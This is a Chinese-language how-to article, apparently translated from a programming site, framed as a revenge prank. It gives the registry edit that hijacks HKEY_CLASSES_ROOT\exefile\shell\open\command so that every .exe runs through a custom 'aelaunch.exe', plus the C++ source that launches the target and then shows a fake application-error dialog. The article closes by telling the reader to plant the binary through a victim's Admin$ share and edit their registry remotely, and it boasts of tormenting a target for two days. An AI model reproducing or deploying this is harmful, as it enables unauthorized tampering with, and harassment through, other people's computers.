应用程序的恶意行为






2.23/5 (13投票s)
如何(真正地)惹恼你的朋友、敌人,甚至你的老板。
为坏而生
如果你曾经想过真正地惹恼某人,这里有一个方法。Windows 为 .exe 文件存储一个注册表键,用于指定如何处理“.exe”文件。它位于 HKEY_CLASSES_ROOT\exefile\shell\open\command
,通常包含值 "%1" %*,这意味着:执行第一个参数指定的内容,并将剩余参数作为新的参数传递。如你所知,第一个参数是要执行的 .exe 文件的完整名称。
现在我们开始我们的恶作剧。我们将命令行重定向到我们的“应用程序”。我们通过修改注册表键来实现这一点
[HKEY_CLASSES_ROOT\exefile\shell\open\command]
@="\"aelaunch.exe\" %1 %*"
你已经看到我们的应用程序名为 AELAUNCH.EXE(你可以给它任何名称)并接受一些参数。
那个坏家伙
从现在开始,任何应用程序似乎都会生成一个应用程序错误,但仍然以某种方式继续运行。
这个应用程序并非奇迹,它不需要也不使用 MFC。整个代码只有大约 50 行,包括注释。主函数是
int APIENTRY _tWinMain(HINSTANCE hInst, HINSTANCE,LPTSTR lpCmdLine, int nCmdShow) { if (lpCmdLine[0] != '\0') // we have a command line? { LPSTR p = lpCmdLine; while(*p) { if(*p == '\"') // lets get rid of any quotes *p = ' '; p++; } // ::MessageBox(NULL, lpCmdLine, "Commandline", MB_OK); WinExec(lpCmdLine, nCmdShow); } DialogBox(hInst, (LPCTSTR)IDD_APPLICATIONTERROR_DIALOG, NULL, (DLGPROC)DialogProc); return 0; }
它使用“过时”函数 WinExec()
,只是因为它很方便并且工作得很好。使用 CreateProcess()
或 ShellExecute()
会带来太多的麻烦。
如你所见,该应用程序检查命令行,将任何现有的引号字符替换为空格(我们现在不再需要它们),并将命令行传递给 WinExec
。
当 WinExec
返回时(只要启动的应用程序第一次调用 GetMessage()
),应用程序会显示一个对话框,恰好看起来像众所周知的应用程序错误对话框。:-)
放松并享受
现在你可能想知道这会如何惹恼任何人?还记得一个名为 Admin$ 的默认共享吗?还记得 RegEdit 可以连接到其他机器吗?Bingo,只需将可执行文件复制到受害者的 Admin$\system32 目录,运行 RegEdit 并修改受害者的机器的注册表。就这样...
试试看,微笑吧,同时在心里列出下一个 aelaunch.exe 的目标。
我上次针对它的人受了 2 天的折磨,直到他发现我做了什么。这是一次完美的报复。